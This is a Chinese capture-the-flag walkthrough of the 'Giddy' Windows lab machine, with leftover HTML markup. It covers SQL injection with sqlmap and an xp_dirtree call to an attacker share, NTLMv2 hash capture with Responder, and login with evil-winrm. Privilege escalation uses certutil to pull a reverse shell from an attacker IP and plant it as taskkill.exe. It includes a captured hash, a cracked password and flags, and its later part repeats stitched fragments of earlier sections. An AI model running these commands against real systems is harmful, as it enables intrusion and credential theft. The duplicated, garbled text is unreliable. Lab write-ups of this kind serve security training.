Windows PowerShell Web Access 漏洞利用与权限提升教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>
目标IP: `10.10.10.104<\/code> 主机名: Giddy<\/code> 操作系统: Windows (版本10.0.14393)<\/p>`

1.2 端口扫描结果<\/h3>
使用nmap<\/code>和masscan<\/code>扫描发现以下开放端口:<\/p>

80\/tcp<\/strong>: Microsoft IIS httpd 10.0

风险方法: TRACE<\/li>
标题: IIS Windows Server<\/li>
<\/ul>
<\/li>
443\/tcp<\/strong>: Microsoft IIS httpd 10.0 (SSL)

证书CN: PowerShellWebAccessTestWebSite<\/li>
风险方法: TRACE<\/li>
<\/ul>
<\/li>
3389\/tcp<\/strong>: Microsoft Terminal Services (RDP)

目标信息:

NetBIOS_Domain_Name: GIDDY<\/li>
NetBIOS_Computer_Name: GIDDY<\/li>
DNS_Domain_Name: Giddy<\/li>
DNS_Computer_Name: Giddy<\/li>
<\/ul>
<\/li>
<\/ul>
<\/li>
<\/ul>
2. 初始访问<\/h2>
2.1 主机名解析<\/h3>
echo '10.10.10.104 giddy.htb'<\/span> >> \/etc\/hosts
<\/span><\/span><\/code><\/pre>2.2 目录枚举<\/h3>
使用feroxbuster<\/code>发现以下关键路径:<\/p>

http:\/\/giddy.htb\/Remote\/en-US\/logon.aspx?ReturnUrl=%2fRemote%2f<\/code><\/li>
http:\/\/giddy.htb\/mvc\/<\/code><\/li>
<\/ul>
2.3 SQL注入攻击<\/h3>
使用sqlmap<\/code>进行SQL注入:<\/p>

枚举数据库内容:<\/li>
<\/ol>
sqlmap -u 'http:\/\/giddy.htb\/mvc\/Product.aspx?ProductSubCategoryId=1'<\/span> -dump --batch
<\/span><\/span><\/code><\/pre>
触发OOB (Out-of-Band)数据泄露:<\/li>
<\/ol>
sqlmap -u "http:\/\/giddy.htb\/mvc\/Product.aspx?ProductSubCategoryId=1"<\/span> --sql-query "EXEC MASTER.sys.xp_dirtree '\\\\10.10.16.33\\share'"<\/span> --batch
<\/span><\/span><\/code><\/pre>2.4 捕获NTLMv2哈希<\/h3>
使用Responder<\/code>捕获NTLMv2哈希:<\/p>
responder -I tun0
<\/span><\/span><\/code><\/pre>捕获到的哈希:<\/p>
Stacy::GIDDY:87a923d765a8db30:6AD2E27D1AA6627209D5E141E4756AFD:0101000000000000002D7C41DA94DB01A5E36FED99194C60000000000200080030004B003900500001001E00570049004E002D004A004400300033004E0043003400350039003400360004003400570049004E002D004A004400300033004E004300340035003900340036002E0030004B00390050002E004C004F00430041004C000300140030004B00390050002E004C004F00430041004C000500140030004B00390050002E004C004F00430041004C0007000800002D7C41DA94DB0106000400020000000800300030000000000000000000000000300000BE837E86F4FAFD3C8FA9F65A4962CAA5E70A4DE45B90CD7D2B64F70E931E169B0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0033003300000000000000000000000000
<\/code><\/pre>
破解后得到的密码: xNnWo6272k7x<\/code><\/p>
2.5 使用Evil-WinRM获取初始访问<\/h3>
evil-winrm -i 10.10.10.104 -u 'giddy\stacy'<\/span> -p 'xNnWo6272k7x'<\/span>
<\/span><\/span><\/code><\/pre>获取到的用户flag: 53808bfee1c938401f62ff12e0cf17bc<\/code><\/p>
3. 权限提升<\/h2>
3.1 利用UniFi Video服务漏洞<\/h3>
UniFi Video是Ubiquiti Networks的视频监控管理软件，在服务启动时会尝试在C:\ProgramData\unifi-video\<\/code>中执行taskkill.exe<\/code>文件。<\/p>
3.1.1 检查服务权限<\/h4>

切换到Windows服务注册表目录:<\/li>
<\/ol>
Set-Location 'HKLM:\SYSTEM\CurrentControlSet\Services'<\/span>
<\/span><\/span><\/code><\/pre>
检查C:\ProgramData\unifi-video\<\/code>目录权限:<\/li>
<\/ol>
icacls C:\ProgramData\unifi-video\
<\/span><\/span><\/code><\/pre>
查找相关服务:<\/li>
<\/ol>
dir *UniFi*
<\/span><\/span><\/code><\/pre>3.1.2 准备反向Shell<\/h4>
使用Chameleon工具生成反向shell:<\/p>
docker run --rm -v \/path\/to\/reverseshell:\/tmp chameleon -gcc reverse_win.c
<\/span><\/span><\/code><\/pre>3.1.3 上传恶意文件<\/h4>
使用certutil下载反向shell并重命名为taskkill.exe:<\/p>
certutil -urlcache -f<\/span> http:<\/span>\/\/10.10.16.33\/reverse_win_win_x86_64.exe taskkill.exe
<\/span><\/span><\/code><\/pre>3.1.4 重启服务触发漏洞<\/h4>
Stop-Service "Ubiquiti UniFi Video"<\/span>
<\/span><\/span>Start-Service "Ubiquiti UniFi Video"<\/span>
<\/span><\/span><\/code><\/pre>3.2 获取系统权限<\/h3>
成功获取root权限后，获取root flag: 617e9b8600be08870d099e98e5359f74<\/code><\/p>
4. 关键工具与资源<\/h2>


信息收集工具<\/strong>:<\/p>

nmap<\/li>
masscan<\/li>
feroxbuster<\/li>
<\/ul>
<\/li>

漏洞利用工具<\/strong>:<\/p>

sqlmap<\/li>
Responder<\/li>
evil-winrm<\/li>
<\/ul>
<\/li>

权限提升工具<\/strong>:<\/p>

Chameleon (https:\/\/github.com\/MartinxMax\/Chameleon)<\/li>
UniFi Video漏洞利用代码 (https:\/\/www.exploit-db.com\/exploits\/43390)<\/li>
<\/ul>
<\/li>

技术要点<\/strong>:<\/p>

SQL注入导致OOB数据泄露<\/li>
NTLMv2哈希捕获与破解<\/li>
Windows服务滥用导致的权限提升<\/li>
通过服务启动时执行特定文件实现代码执行<\/li>
<\/ul>
<\/li>
<\/ol>

Windows PowerShell Web Access 漏洞利用与权限提升教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>
目标IP: `10.10.10.104<\/code> 主机名: Giddy<\/code> 操作系统: Windows (版本10.0.14393)<\/p>`

2. 初始访问<\/h2>

3.1 利用UniFi Video服务漏洞<\/h3>
UniFi Video是Ubiquiti Networks的视频监控管理软件，在服务启动时会尝试在`C:\ProgramData\unifi-video\<\/code>中执行taskkill.exe<\/code>文件。<\/p>`

3.2 获取系统权限<\/h3>
成功获取root权限后，获取root flag: `617e9b8600be08870d099e98e5359f74<\/code><\/p>`

Windows PowerShell Web Access 漏洞利用与权限提升教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3> 目标IP: 10.10.10.104<\/code> 主机名: Giddy<\/code> 操作系统: Windows (版本10.0.14393)<\/p>

2. 初始访问<\/h2>

3.1 利用UniFi Video服务漏洞<\/h3> UniFi Video是Ubiquiti Networks的视频监控管理软件，在服务启动时会尝试在C:\ProgramData\unifi-video\<\/code>中执行taskkill.exe<\/code>文件。<\/p>

3.2 获取系统权限<\/h3> 成功获取root权限后，获取root flag: 617e9b8600be08870d099e98e5359f74<\/code><\/p>

1.1 目标识别<\/h3>
目标IP: `10.10.10.104<\/code> 主机名: Giddy<\/code> 操作系统: Windows (版本10.0.14393)<\/p>`

3.1 利用UniFi Video服务漏洞<\/h3>
UniFi Video是Ubiquiti Networks的视频监控管理软件，在服务启动时会尝试在`C:\ProgramData\unifi-video\<\/code>中执行taskkill.exe<\/code>文件。<\/p>`

3.2 获取系统权限<\/h3>
成功获取root权限后，获取root flag: `617e9b8600be08870d099e98e5359f74<\/code><\/p>`